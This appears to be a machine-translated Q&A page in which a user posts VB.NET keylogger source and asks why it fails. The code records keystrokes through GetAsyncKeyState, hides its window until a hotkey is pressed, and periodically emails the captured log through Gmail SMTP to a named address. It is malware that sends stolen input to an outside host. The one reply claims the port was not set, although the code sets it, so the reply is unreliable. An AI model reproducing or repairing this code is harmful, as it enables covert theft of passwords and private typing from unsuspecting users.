-3

我一直在试图找出问题所在,但我找不到...

Option Strict On Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Short Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 105 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If 1 = 13 Then key = vbNewLine Exit For End If Next i

    If key <> Nothing Then
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            tbLog.Text &= key
        Else
            tbLog.Text &= key.ToLower

        End If
    End If

    If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
        Me.Show()
    End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
    Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("example@gmail.com", "passoword")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("example@gmail.com")
    mail.To.Add("justinecantado@gmail.com")
    mail.From = New MailAddress("example@gmail.com")
    mail.Body = tbLog.Text
    smtpServer.Send(mail)
End Sub

结束类

4

1 回答 1

0

当某些变量超出范围时,某些 smtp 实现不起作用。但是我认为您的问题是您没有指定端口。

于 2013-04-02T19:20:28.167 回答